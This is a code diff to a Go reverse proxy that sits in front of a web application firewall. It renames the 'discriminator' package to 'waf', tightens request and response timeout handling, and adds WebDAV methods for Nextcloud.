_ = rq.rc.SetReadDeadline(rq.requestDeadline())
|
||||||
held, err := io.ReadAll(io.LimitReader(rq.body, discriminator.QuestionBodyMaxBytes))
|
held, err := io.ReadAll(
|
||||||
|
io.LimitReader(rq.body, waf.QuestionBodyMaxBytes),
|
||||||
|
)
|
||||||
// From here on, the request timer ends a read of the rest of the body, so that
|
// From here on, the request timer ends a read of the rest of the body, so that
|
||||||
// the answer can name the side rproxy was waiting on.
|
// the answer can name the side rproxy was waiting on.
|
||||||
_ = rq.rc.SetReadDeadline(time.Time{})
|
_ = rq.rc.SetReadDeadline(time.Time{})
|
||||||
@@ -167,7 +188,6 @@ func (rq *request) forward(ctx context.Context) {
|
|||||||
rq.cancel = cancel
|
rq.cancel = cancel
|
||||||
ctx = httptrace.WithClientTrace(ctx, &httptrace.ClientTrace{
|
ctx = httptrace.WithClientTrace(ctx, &httptrace.ClientTrace{
|
||||||
WroteRequest: rq.wroteRequest,
|
WroteRequest: rq.wroteRequest,
|
||||||
GotFirstResponseByte: rq.gotFirstResponseByte,
|
|
||||||
})
|
})
|
||||||
|
|
||||||
out := rq.in.WithContext(ctx)
|
out := rq.in.WithContext(ctx)
|
||||||
@@ -192,7 +212,7 @@ func (rq *request) forward(ctx context.Context) {
|
|||||||
// rewrite makes the request the app receives: the visitor's request, unchanged,
|
// rewrite makes the request the app receives: the visitor's request, unchanged,
|
||||||
// sent to SWRP_UPSTREAM_URL, with the forwarded headers and the request's id set,
|
// sent to SWRP_UPSTREAM_URL, with the forwarded headers and the request's id set,
|
||||||
// without any X-Client-ASN or X-Client-Country the visitor sent, and with
|
// without any X-Client-ASN or X-Client-Country the visitor sent, and with
|
||||||
// discriminator's.
|
// waf's.
|
||||||
func (rq *request) rewrite(pr *httputil.ProxyRequest) {
|
func (rq *request) rewrite(pr *httputil.ProxyRequest) {
|
||||||
upstream := rq.h.config.UpstreamURL
|
upstream := rq.h.config.UpstreamURL
|
||||||
pr.Out.URL.Scheme = upstream.Scheme
|
pr.Out.URL.Scheme = upstream.Scheme
|
||||||
@@ -237,8 +257,20 @@ func (rq *request) modifyResponse(res *http.Response) error {
|
|||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
requestEnd := rq.endRequest()
|
||||||
|
|
||||||
|
// An answer that arrives once SWRP_MAX_RESPONSE_TIME_MS has run out is not
|
||||||
|
// passed on: the visitor is answered 504.
|
||||||
|
limit := rq.h.config.MaxResponseTime
|
||||||
|
if limit > 0 && !time.Now().Before(requestEnd.Add(limit)) {
|
||||||
|
rq.refuse(http.StatusGatewayTimeout)
|
||||||
|
|
||||||
|
return errResponseTooLate
|
||||||
|
}
|
||||||
|
|
||||||
maxBytes := rq.h.config.MaxResponseSize
|
maxBytes := rq.h.config.MaxResponseSize
|
||||||
if maxBytes > 0 && res.Body != http.NoBody && res.ContentLength > maxBytes {
|
if maxBytes > 0 && res.Body != http.NoBody &&
|
||||||
|
res.ContentLength > maxBytes {
|
||||||
rq.refuse(http.StatusBadGateway)
|
rq.refuse(http.StatusBadGateway)
|
||||||
|
|
||||||
return errResponseTooLarge
|
return errResponseTooLarge
|
||||||
@@ -251,15 +283,25 @@ func (rq *request) modifyResponse(res *http.Response) error {
|
|||||||
rq.out.Header()["Content-Type"] = nil
|
rq.out.Header()["Content-Type"] = nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
rq.closeAfterAnswer()
|
||||||
|
|
||||||
|
// An answer that arrives before the app has been sent the whole request ends
|
||||||
|
// the request, and SWRP_MAX_RESPONSE_TIME_MS starts.
|
||||||
|
rq.startResponseTimer(requestEnd)
|
||||||
|
|
||||||
res.Body = &responseBody{body: limitBody(res.Body, maxBytes), rq: rq}
|
res.Body = &responseBody{body: limitBody(res.Body, maxBytes), rq: rq}
|
||||||
rq.setResponseDeadline()
|
rq.out.afterStatus = rq.setResponseDeadline
|
||||||
|
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// answerError is ReverseProxy's ErrorHandler: the request could not be passed to
|
// answerError is ReverseProxy's ErrorHandler: the request could not be passed to
|
||||||
// the app, or the app's answer cannot be passed on.
|
// the app, or the app's answer cannot be passed on.
|
||||||
func (rq *request) answerError(_ http.ResponseWriter, _ *http.Request, err error) {
|
func (rq *request) answerError(
|
||||||
|
_ http.ResponseWriter,
|
||||||
|
_ *http.Request,
|
||||||
|
err error,
|
||||||
|
) {
|
||||||
if rq.upgraded != nil {
|
if rq.upgraded != nil {
|
||||||
// The app switched protocols, but the switch was not passed on, and
|
// The app switched protocols, but the switch was not passed on, and
|
||||||
// ReverseProxy leaves the app's connection open when it refuses it.
|
// ReverseProxy leaves the app's connection open when it refuses it.
|
||||||
@@ -275,7 +317,11 @@ func (rq *request) answerError(_ http.ResponseWriter, _ *http.Request, err error
|
|||||||
panic(http.ErrAbortHandler)
|
panic(http.ErrAbortHandler)
|
||||||
}
|
}
|
||||||
|
|
||||||
rq.h.processLog.Warn("request to the app failed", "error", err.Error())
|
rq.h.processLog.Warn(
|
||||||
|
"request to the app failed",
|
||||||
|
"error",
|
||||||
|
err.Error(),
|
||||||
|
)
|
||||||
|
|
||||||
status = http.StatusBadGateway
|
status = http.StatusBadGateway
|
||||||
}
|
}
|
||||||
@@ -312,28 +358,39 @@ func (rq *request) answer(status int) {
|
|||||||
// handler has returned, after finish has written the log line and sent the report.
|
// handler has returned, after finish has written the log line and sent the report.
|
||||||
// Without Content-Length, the flush would send the body in chunks, the last of
|
// Without Content-Length, the flush would send the body in chunks, the last of
|
||||||
// which would still wait for the handler. A HEAD's answer has no body, so any
|
// which would still wait for the handler. A HEAD's answer has no body, so any
|
||||||
// Content-Length it has stays as discriminator gave it.
|
// Content-Length it has stays as waf gave it.
|
||||||
func (rq *request) send(status int, body []byte) {
|
func (rq *request) send(status int, body []byte) {
|
||||||
if rq.in.Method != http.MethodHead {
|
if rq.in.Method != http.MethodHead {
|
||||||
rq.out.Header().Set("Content-Length", strconv.Itoa(len(body)))
|
rq.out.Header().Set("Content-Length", strconv.Itoa(len(body)))
|
||||||
}
|
}
|
||||||
|
|
||||||
|
rq.closeAfterAnswer()
|
||||||
rq.out.WriteHeader(status)
|
rq.out.WriteHeader(status)
|
||||||
_, _ = rq.out.Write(body)
|
_, _ = rq.out.Write(body)
|
||||||
_ = rq.rc.Flush()
|
_ = rq.rc.Flush()
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// closeAfterAnswer has Go's server send the answer at once, and close the
|
||||||
|
// connection after it, when the visitor's body has not arrived whole. Without
|
||||||
|
// it, Go's server reads up to 256 KiB of the body left before it sends an
|
||||||
|
// answer, and so waits on a visitor that has stopped sending.
|
||||||
|
func (rq *request) closeAfterAnswer() {
|
||||||
|
if rq.body != nil && !rq.body.received.Load() {
|
||||||
|
rq.out.Header().Set("Connection", "close")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// prepareOwnAnswer readies the connection for an answer rproxy gives itself: the
|
// prepareOwnAnswer readies the connection for an answer rproxy gives itself: the
|
||||||
// reading of a body that has not arrived whole ends at deadline, and the answer
|
// reading of a body that has not arrived whole ends at deadline, and the answer
|
||||||
// has SWRP_MAX_RESPONSE_TIME_MS from now to reach the visitor, even when the app
|
// has SWRP_MAX_RESPONSE_TIME_MS from now to reach the visitor, even when the app
|
||||||
// used that time up first.
|
// used that time up first, and at least minSendTime.
|
||||||
func (rq *request) prepareOwnAnswer(deadline time.Time) {
|
func (rq *request) prepareOwnAnswer(deadline time.Time) {
|
||||||
rq.stopReadingBody(deadline)
|
rq.stopReadingBody(deadline)
|
||||||
rq.endRequest()
|
rq.endRequest()
|
||||||
|
|
||||||
limit := rq.h.config.MaxResponseTime
|
limit := rq.h.config.MaxResponseTime
|
||||||
if limit > 0 {
|
if limit > 0 {
|
||||||
_ = rq.rc.SetWriteDeadline(time.Now().Add(limit))
|
_ = rq.rc.SetWriteDeadline(time.Now().Add(max(limit, minSendTime)))
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -347,20 +404,37 @@ func (rq *request) refuse(status int) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// finish ends the request's time limits, writes its log line and, if discriminator
|
// finish ends the request's time limits, writes its log line and, if waf
|
||||||
// answered the question, sends the report. ctx is the request's own context.
|
// answered the question, sends the report. ctx is the request's own context.
|
||||||
func (rq *request) finish(ctx context.Context) {
|
func (rq *request) finish(ctx context.Context) {
|
||||||
rq.stopTimers()
|
rq.stopTimers()
|
||||||
|
|
||||||
if rq.refused.Load() == 0 {
|
// After a cut-off answer, the reading of a body that has not arrived whole
|
||||||
rq.stopReadingBody(rq.requestDeadline())
|
// ends now. Go's server would otherwise keep the connection open while it
|
||||||
|
// reads the rest. modifyResponse sets afterStatus only when it passes the
|
||||||
|
// app's answer on. Any refusal after that has cut the answer off, since a
|
||||||
|
// refusal ends the request to the app. Any answer is cut off when the time to
|
||||||
|
// send it runs out: a flush then fails, and every flush after a failed one
|
||||||
|
// fails too. ReverseProxy ignores the failure, but panics if it was still
|
||||||
|
// waiting for more of the app's answer; finish runs either way. Before a
|
||||||
|
// status, a flush would send a 200; after a 101, ReverseProxy has taken over
|
||||||
|
// the connection.
|
||||||
|
switch {
|
||||||
|
case rq.out.afterStatus != nil && rq.refused.Load() != 0,
|
||||||
|
rq.out.status != 0 && rq.out.status != http.StatusSwitchingProtocols &&
|
||||||
|
errors.Is(rq.rc.Flush(), os.ErrDeadlineExceeded):
|
||||||
|
rq.stopPassingOnBody(time.Now())
|
||||||
|
case rq.refused.Load() == 0:
|
||||||
|
rq.stopPassingOnBody(rq.requestDeadline())
|
||||||
}
|
}
|
||||||
|
|
||||||
requestEnd := rq.endRequest()
|
requestEnd := rq.endRequest()
|
||||||
end := time.Now()
|
end := time.Now()
|
||||||
requestBytes, responseBytes := rq.bytesEachWay()
|
requestBytes, responseBytes := rq.bytesEachWay()
|
||||||
|
|
||||||
err := requestlog.WriteRProxyLine(rq.h.requestLog, &requestlog.RProxyLine{
|
err := requestlog.WriteRProxyLine(
|
||||||
|
rq.h.requestLog,
|
||||||
|
&requestlog.RProxyLine{
|
||||||
Time: requestlog.FormatTime(rq.start),
|
Time: requestlog.FormatTime(rq.start),
|
||||||
RequestID: rq.id,
|
RequestID: rq.id,
|
||||||
ClientIP: rq.client.String(),
|
ClientIP: rq.client.String(),
|
||||||
@@ -371,20 +445,27 @@ func (rq *request) finish(ctx context.Context) {
|
|||||||
Status: rq.out.status,
|
Status: rq.out.status,
|
||||||
RequestBytes: requestBytes,
|
RequestBytes: requestBytes,
|
||||||
ResponseBytes: responseBytes,
|
ResponseBytes: responseBytes,
|
||||||
DurationRequestMS: requestlog.Milliseconds(requestEnd.Sub(rq.start)),
|
DurationRequestMS: requestlog.Milliseconds(
|
||||||
|
requestEnd.Sub(rq.start),
|
||||||
|
),
|
||||||
DurationResponseMS: requestlog.Milliseconds(end.Sub(requestEnd)),
|
DurationResponseMS: requestlog.Milliseconds(end.Sub(requestEnd)),
|
||||||
Disposition: rq.disposition,
|
Disposition: rq.disposition,
|
||||||
DefaultDisposition: rq.byDefault,
|
DefaultDisposition: rq.byDefault,
|
||||||
})
|
},
|
||||||
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
rq.h.processLog.Error("writing the request log failed", "error", err.Error())
|
rq.h.processLog.Error(
|
||||||
|
"writing the request log failed",
|
||||||
|
"error",
|
||||||
|
err.Error(),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
if !rq.answered {
|
if !rq.answered {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
report := &discriminator.Report{
|
report := &waf.Report{
|
||||||
RequestID: rq.id,
|
RequestID: rq.id,
|
||||||
Status: min(rq.out.status, reportStatusMax),
|
Status: min(rq.out.status, reportStatusMax),
|
||||||
RequestBytes: requestBytes,
|
RequestBytes: requestBytes,
|
||||||
@@ -392,7 +473,9 @@ func (rq *request) finish(ctx context.Context) {
|
|||||||
DurationTotalMS: requestlog.Milliseconds(end.Sub(rq.start)),
|
DurationTotalMS: requestlog.Milliseconds(end.Sub(rq.start)),
|
||||||
}
|
}
|
||||||
if !rq.upstreamStart.IsZero() {
|
if !rq.upstreamStart.IsZero() {
|
||||||
report.DurationUpstreamTotalMS = requestlog.Milliseconds(end.Sub(rq.upstreamStart))
|
report.DurationUpstreamTotalMS = requestlog.Milliseconds(
|
||||||
|
end.Sub(rq.upstreamStart),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
rq.h.sendReport(ctx, report)
|
rq.h.sendReport(ctx, report)
|
||||||
@@ -440,6 +523,26 @@ func (rq *request) stopReadingBody(deadline time.Time) {
|
|||||||
_ = rq.rc.SetReadDeadline(deadline)
|
_ = rq.rc.SetReadDeadline(deadline)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// stopPassingOnBody ends the transport's reading of a visitor's body that has
|
||||||
|
// not arrived whole, and lets Go's server read the rest until deadline. Go's
|
||||||
|
// server reads it once the handler returns, but with no deadline at all if
|
||||||
|
// another read of it is still waiting.
|
||||||
|
func (rq *request) stopPassingOnBody(deadline time.Time) {
|
||||||
|
if rq.body == nil || rq.body.received.Load() {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// A deadline that has passed ends a Read that waits, and the lock waits for
|
||||||
|
// that Read to return.
|
||||||
|
_ = rq.rc.SetReadDeadline(time.Now())
|
||||||
|
|
||||||
|
rq.body.mu.Lock()
|
||||||
|
rq.body.stopped = true
|
||||||
|
rq.body.mu.Unlock()
|
||||||
|
|
||||||
|
rq.stopReadingBody(deadline)
|
||||||
|
}
|
||||||
|
|
||||||
// startRequestTimer starts SWRP_MAX_REQUEST_TIME_MS, which runs from the
|
// startRequestTimer starts SWRP_MAX_REQUEST_TIME_MS, which runs from the
|
||||||
// request's headers being read until the app has been sent the whole request.
|
// request's headers being read until the app has been sent the whole request.
|
||||||
func (rq *request) startRequestTimer() {
|
func (rq *request) startRequestTimer() {
|
||||||
@@ -451,7 +554,10 @@ func (rq *request) startRequestTimer() {
|
|||||||
rq.mu.Lock()
|
rq.mu.Lock()
|
||||||
defer rq.mu.Unlock()
|
defer rq.mu.Unlock()
|
||||||
|
|
||||||
rq.requestTimer = time.AfterFunc(time.Until(deadline), rq.requestTimedOut)
|
rq.requestTimer = time.AfterFunc(
|
||||||
|
time.Until(deadline),
|
||||||
|
rq.requestTimedOut,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
// requestTimedOut is called when SWRP_MAX_REQUEST_TIME_MS runs out while the
|
// requestTimedOut is called when SWRP_MAX_REQUEST_TIME_MS runs out while the
|
||||||
@@ -468,16 +574,6 @@ func (rq *request) requestTimedOut() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if rq.body == nil || !rq.body.waiting.Load() {
|
if rq.body == nil || !rq.body.waiting.Load() {
|
||||||
// Once the app has answered, the transport, ReverseProxy and Go's server
|
|
||||||
// each close the visitor's body, and closing it reads what is left of a
|
|
||||||
// body under 256 KiB without requestBody.Read, so waiting is false while
|
|
||||||
// that read waits for the visitor. That read ends now, before refuse:
|
|
||||||
// should rproxy still answer itself, answer then sets the deadline it
|
|
||||||
// gives its own answers.
|
|
||||||
if !rq.answerStarted.IsZero() {
|
|
||||||
rq.stopReadingBody(time.Now())
|
|
||||||
}
|
|
||||||
|
|
||||||
rq.refuse(http.StatusGatewayTimeout)
|
rq.refuse(http.StatusGatewayTimeout)
|
||||||
|
|
||||||
return
|
return
|
||||||
@@ -490,15 +586,6 @@ func (rq *request) requestTimedOut() {
|
|||||||
_ = rq.rc.SetReadDeadline(time.Now())
|
_ = rq.rc.SetReadDeadline(time.Now())
|
||||||
}
|
}
|
||||||
|
|
||||||
// gotFirstResponseByte is called once the first byte of the app's answer has
|
|
||||||
// arrived.
|
|
||||||
func (rq *request) gotFirstResponseByte() {
|
|
||||||
rq.mu.Lock()
|
|
||||||
defer rq.mu.Unlock()
|
|
||||||
|
|
||||||
rq.answerStarted = time.Now()
|
|
||||||
}
|
|
||||||
|
|
||||||
// wroteRequest is called once the app has been sent the whole request:
|
// wroteRequest is called once the app has been sent the whole request:
|
||||||
// SWRP_MAX_REQUEST_TIME_MS ends and SWRP_MAX_RESPONSE_TIME_MS starts.
|
// SWRP_MAX_REQUEST_TIME_MS ends and SWRP_MAX_RESPONSE_TIME_MS starts.
|
||||||
func (rq *request) wroteRequest(info httptrace.WroteRequestInfo) {
|
func (rq *request) wroteRequest(info httptrace.WroteRequestInfo) {
|
||||||
@@ -509,19 +596,29 @@ func (rq *request) wroteRequest(info httptrace.WroteRequestInfo) {
|
|||||||
requestEnd := rq.endRequest()
|
requestEnd := rq.endRequest()
|
||||||
|
|
||||||
rq.mu.Lock()
|
rq.mu.Lock()
|
||||||
defer rq.mu.Unlock()
|
stopTimer(rq.requestTimer)
|
||||||
|
rq.mu.Unlock()
|
||||||
|
|
||||||
if rq.timersStopped {
|
rq.startResponseTimer(requestEnd)
|
||||||
|
}
|
||||||
|
|
||||||
|
// startResponseTimer starts SWRP_MAX_RESPONSE_TIME_MS, which runs from
|
||||||
|
// requestEnd, unless it has started already.
|
||||||
|
func (rq *request) startResponseTimer(requestEnd time.Time) {
|
||||||
|
limit := rq.h.config.MaxResponseTime
|
||||||
|
if limit == 0 {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
stopTimer(rq.requestTimer)
|
rq.mu.Lock()
|
||||||
|
defer rq.mu.Unlock()
|
||||||
|
|
||||||
|
if rq.timersStopped || rq.responseTimer != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
limit := rq.h.config.MaxResponseTime
|
|
||||||
if limit > 0 {
|
|
||||||
rq.responseTimer = time.AfterFunc(time.Until(requestEnd.Add(limit)),
|
rq.responseTimer = time.AfterFunc(time.Until(requestEnd.Add(limit)),
|
||||||
rq.responseTimedOut)
|
rq.responseTimedOut)
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// responseTimedOut is called when SWRP_MAX_RESPONSE_TIME_MS runs out before the
|
// responseTimedOut is called when SWRP_MAX_RESPONSE_TIME_MS runs out before the
|
||||||
@@ -535,30 +632,27 @@ func (rq *request) responseTimedOut() {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// responseReceived is called once the app has sent its whole answer. An app may
|
// responseReceived is called once the app has sent its whole answer.
|
||||||
// answer before the visitor has sent its whole body, as with a 404 it sends
|
|
||||||
// without reading it. The time limits then run on: until the transport's read of
|
|
||||||
// the body returns, Go's server cannot send the answer, and
|
|
||||||
// SWRP_MAX_REQUEST_TIME_MS is what ends that read for a visitor that stops
|
|
||||||
// sending.
|
|
||||||
func (rq *request) responseReceived() {
|
func (rq *request) responseReceived() {
|
||||||
if rq.body != nil && !rq.body.received.Load() {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
rq.stopTimers()
|
rq.stopTimers()
|
||||||
}
|
}
|
||||||
|
|
||||||
// setResponseDeadline sets SWRP_MAX_RESPONSE_TIME_MS on the connection to the
|
// setResponseDeadline sends the status and headers of the app's answer, with
|
||||||
// visitor: the app's answer must reach the visitor within it of the end of the
|
// at least minSendTime, before ReverseProxy reads the answer's body, and then
|
||||||
// request.
|
// the rest has until SWRP_MAX_RESPONSE_TIME_MS after the end of the request.
|
||||||
func (rq *request) setResponseDeadline() {
|
func (rq *request) setResponseDeadline() {
|
||||||
requestEnd := rq.endRequest()
|
|
||||||
|
|
||||||
limit := rq.h.config.MaxResponseTime
|
limit := rq.h.config.MaxResponseTime
|
||||||
if limit > 0 {
|
if limit == 0 {
|
||||||
_ = rq.rc.SetWriteDeadline(requestEnd.Add(limit))
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
|
deadline := rq.endRequest().Add(limit)
|
||||||
|
|
||||||
|
_ = rq.rc.SetWriteDeadline(
|
||||||
|
time.Now().Add(max(time.Until(deadline), minSendTime)),
|
||||||
|
)
|
||||||
|
_ = rq.rc.Flush()
|
||||||
|
_ = rq.rc.SetWriteDeadline(deadline)
|
||||||
}
|
}
|
||||||
|
|
||||||
// endRequest notes now as the end of the request, unless an end is noted, and
|
// endRequest notes now as the end of the request, unless an end is noted, and
|
||||||
|
|||||||
+29
-24
@@ -1,10 +1,10 @@
|
|||||||
// Package rproxy is the reverse proxy in front of one app that asks discriminator
|
// Package rproxy is the reverse proxy in front of one app that asks waf
|
||||||
// about each request. It passes a request discriminator allows to the app and the
|
// about each request. It passes a request waf allows to the app and the
|
||||||
// app's answer back, within the size and time limits. Any other answer from
|
// app's answer back, within the size and time limits. Any other answer from
|
||||||
// discriminator goes to the visitor as discriminator gave it. SWRP_DEFAULT_DISPOSITION
|
// waf goes to the visitor as waf gave it. SWRP_DEFAULT_DISPOSITION
|
||||||
// decides only when discriminator cannot be connected to, does not answer at all, or
|
// decides only when waf cannot be connected to, does not answer at all, or
|
||||||
// does not answer within SWRP_TIMEOUT_MS. rproxy itself refuses a request with a
|
// does not answer within SWRP_TIMEOUT_MS. rproxy itself refuses a request with a
|
||||||
// method it does not pass on, or one it cannot put to discriminator as the visitor
|
// method it does not pass on, or one it cannot put to waf as the visitor
|
||||||
// sent it. It keeps nothing between requests and never touches disk. "rproxy" in
|
// sent it. It keeps nothing between requests and never touches disk. "rproxy" in
|
||||||
// SPEC.md says what it does.
|
// SPEC.md says what it does.
|
||||||
package rproxy
|
package rproxy
|
||||||
@@ -22,10 +22,10 @@ import (
|
|||||||
"time"
|
"time"
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/config"
|
"sneak.berlin/go/smallwebwaf/internal/config"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
"sneak.berlin/go/smallwebwaf/internal/waf"
|
||||||
)
|
)
|
||||||
|
|
||||||
// How rproxy keeps connections to the app and to discriminator open between
|
// How rproxy keeps connections to the app and to waf open between
|
||||||
// requests.
|
// requests.
|
||||||
const (
|
const (
|
||||||
idleConns = 100
|
idleConns = 100
|
||||||
@@ -51,7 +51,9 @@ const ownEndpointPrefix = "/_sww/"
|
|||||||
|
|
||||||
// allowedMethods lists the methods rproxy passes on, as an Allow header gives
|
// allowedMethods lists the methods rproxy passes on, as an Allow header gives
|
||||||
// them. It answers any other method 405 itself.
|
// them. It answers any other method 405 itself.
|
||||||
const allowedMethods = "GET, HEAD, POST, OPTIONS, PUT, DELETE, PATCH, QUERY"
|
// The WebDAV ones are for Nextcloud.
|
||||||
|
const allowedMethods = "GET, HEAD, POST, OPTIONS, PUT, DELETE, PATCH, QUERY, " +
|
||||||
|
"PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, REPORT, SEARCH, LOCK, UNLOCK, MKCALENDAR"
|
||||||
|
|
||||||
// Params are what New needs.
|
// Params are what New needs.
|
||||||
type Params struct {
|
type Params struct {
|
||||||
@@ -76,16 +78,19 @@ type Server struct {
|
|||||||
// on.
|
// on.
|
||||||
func New(params Params) *Server {
|
func New(params Params) *Server {
|
||||||
backend := params.Config.WAFBackend
|
backend := params.Config.WAFBackend
|
||||||
errorLog := slog.NewLogLogger(params.ProcessLog.Handler(), slog.LevelWarn)
|
errorLog := slog.NewLogLogger(
|
||||||
|
params.ProcessLog.Handler(),
|
||||||
|
slog.LevelWarn,
|
||||||
|
)
|
||||||
h := &handler{
|
h := &handler{
|
||||||
config: params.Config,
|
config: params.Config,
|
||||||
requestLog: params.RequestLog,
|
requestLog: params.RequestLog,
|
||||||
processLog: params.ProcessLog,
|
processLog: params.ProcessLog,
|
||||||
errorLog: errorLog,
|
errorLog: errorLog,
|
||||||
transport: newTransport(),
|
transport: newTransport(),
|
||||||
discriminatorTransport: newDiscriminatorTransport(),
|
wafTransport: newWAFTransport(),
|
||||||
reportURL: (&url.URL{
|
reportURL: (&url.URL{
|
||||||
Scheme: backend.Scheme, Host: backend.Host, Path: discriminator.ReportPath,
|
Scheme: backend.Scheme, Host: backend.Host, Path: waf.ReportPath,
|
||||||
}).String(),
|
}).String(),
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -120,10 +125,10 @@ type handler struct {
|
|||||||
requestLog io.Writer
|
requestLog io.Writer
|
||||||
processLog *slog.Logger
|
processLog *slog.Logger
|
||||||
errorLog *log.Logger
|
errorLog *log.Logger
|
||||||
// transport carries requests to the app, and discriminatorTransport questions and
|
// transport carries requests to the app, and wafTransport questions and
|
||||||
// reports to discriminator.
|
// reports to waf.
|
||||||
transport http.RoundTripper
|
transport http.RoundTripper
|
||||||
discriminatorTransport http.RoundTripper
|
wafTransport http.RoundTripper
|
||||||
// reportURL is where the reports go.
|
// reportURL is where the reports go.
|
||||||
reportURL string
|
reportURL string
|
||||||
// reports waits for the reports being sent. reportsMu guards starting one
|
// reports waits for the reports being sent. reportsMu guards starting one
|
||||||
@@ -145,11 +150,11 @@ func newTransport() *http.Transport {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// newDiscriminatorTransport returns what carries questions and reports to
|
// newWAFTransport returns what carries questions and reports to
|
||||||
// discriminator. It speaks HTTP/1.1 only. Go's HTTP/2 client refuses to send
|
// waf. It speaks HTTP/1.1 only. Go's HTTP/2 client refuses to send
|
||||||
// a visitor's Upgrade header, or a Connection header other than close or
|
// a visitor's Upgrade header, or a Connection header other than close or
|
||||||
// keep-alive, and that would read as discriminator giving no answer.
|
// keep-alive, and that would read as waf giving no answer.
|
||||||
func newDiscriminatorTransport() *http.Transport {
|
func newWAFTransport() *http.Transport {
|
||||||
transport := newTransport()
|
transport := newTransport()
|
||||||
transport.Protocols = new(http.Protocols)
|
transport.Protocols = new(http.Protocols)
|
||||||
transport.Protocols.SetHTTP1(true)
|
transport.Protocols.SetHTTP1(true)
|
||||||
@@ -158,15 +163,15 @@ func newDiscriminatorTransport() *http.Transport {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// ServeHTTP handles one request: it answers the health check itself, refuses a
|
// ServeHTTP handles one request: it answers the health check itself, refuses a
|
||||||
// request with a method it does not pass on or one it cannot put to discriminator as
|
// request with a method it does not pass on or one it cannot put to waf as
|
||||||
// the visitor sent it, and for any other request reads the first part of the
|
// the visitor sent it, and for any other request reads the first part of the
|
||||||
// body, asks discriminator, and does what the answer says. Once the answer has ended,
|
// body, asks waf, and does what the answer says. Once the answer has ended,
|
||||||
// it writes the request's log line and sends its report.
|
// it writes the request's log line and sends its report.
|
||||||
func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||||
rq := h.newRequest(w, r)
|
rq := h.newRequest(w, r)
|
||||||
defer rq.finish(r.Context())
|
defer rq.finish(r.Context())
|
||||||
|
|
||||||
if r.Method == http.MethodGet && r.URL.Path == discriminator.HealthPath {
|
if r.Method == http.MethodGet && r.URL.Path == waf.HealthPath {
|
||||||
rq.answerHealth()
|
rq.answerHealth()
|
||||||
|
|
||||||
return
|
return
|
||||||
@@ -199,9 +204,9 @@ func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
|||||||
rq.noteAnswer(answer)
|
rq.noteAnswer(answer)
|
||||||
|
|
||||||
switch rq.disposition {
|
switch rq.disposition {
|
||||||
case discriminator.DispositionAllow:
|
case waf.DispositionAllow:
|
||||||
rq.passToApp(r.Context())
|
rq.passToApp(r.Context())
|
||||||
case discriminator.DispositionClose:
|
case waf.DispositionClose:
|
||||||
// This panic has Go's server close the connection without an answer,
|
// This panic has Go's server close the connection without an answer,
|
||||||
// and log nothing; the deferred finish still runs.
|
// and log nothing; the deferred finish still runs.
|
||||||
panic(http.ErrAbortHandler)
|
panic(http.ErrAbortHandler)
|
||||||
@@ -211,7 +216,7 @@ func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// passToApp passes the request on to the app, unless a limit or its path keeps
|
// passToApp passes the request on to the app, unless a limit or its path keeps
|
||||||
// it from the app. discriminator answers a path under ownEndpointPrefix itself, so
|
// it from the app. waf answers a path under ownEndpointPrefix itself, so
|
||||||
// such a request gets here only when SWRP_DEFAULT_DISPOSITION allowed it. ctx is the
|
// such a request gets here only when SWRP_DEFAULT_DISPOSITION allowed it. ctx is the
|
||||||
// request's own context.
|
// request's own context.
|
||||||
func (rq *request) passToApp(ctx context.Context) {
|
func (rq *request) passToApp(ctx context.Context) {
|
||||||
|
|||||||
+314
-158
File diff suppressed because it is too large.
Load diff
@@ -11,38 +11,40 @@ import (
|
|||||||
"net/http"
|
"net/http"
|
||||||
"strings"
|
"strings"
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
"sneak.berlin/go/smallwebwaf/internal/waf"
|
||||||
)
|
)
|
||||||
|
|
||||||
// answerBodyMaxBytes is the most of the body of discriminator's answer that is read.
|
// answerBodyMaxBytes is the most of the body of waf's answer that is read.
|
||||||
// It is far above any answer's.
|
// It is far above any answer's.
|
||||||
const answerBodyMaxBytes = 1 << 20
|
const answerBodyMaxBytes = 1 << 20
|
||||||
|
|
||||||
// reportAnswerMaxBytes is the most of the answer to a report that is read,
|
// reportAnswerMaxBytes is the most of the answer to a report that is read,
|
||||||
// which has no body when discriminator takes the report.
|
// which has no body when waf takes the report.
|
||||||
const reportAnswerMaxBytes = 4 << 10
|
const reportAnswerMaxBytes = 4 << 10
|
||||||
|
|
||||||
var (
|
var (
|
||||||
errCannotPassOn = errors.New("the answer cannot be passed to the visitor")
|
errCannotPassOn = errors.New(
|
||||||
|
"the answer cannot be passed to the visitor",
|
||||||
|
)
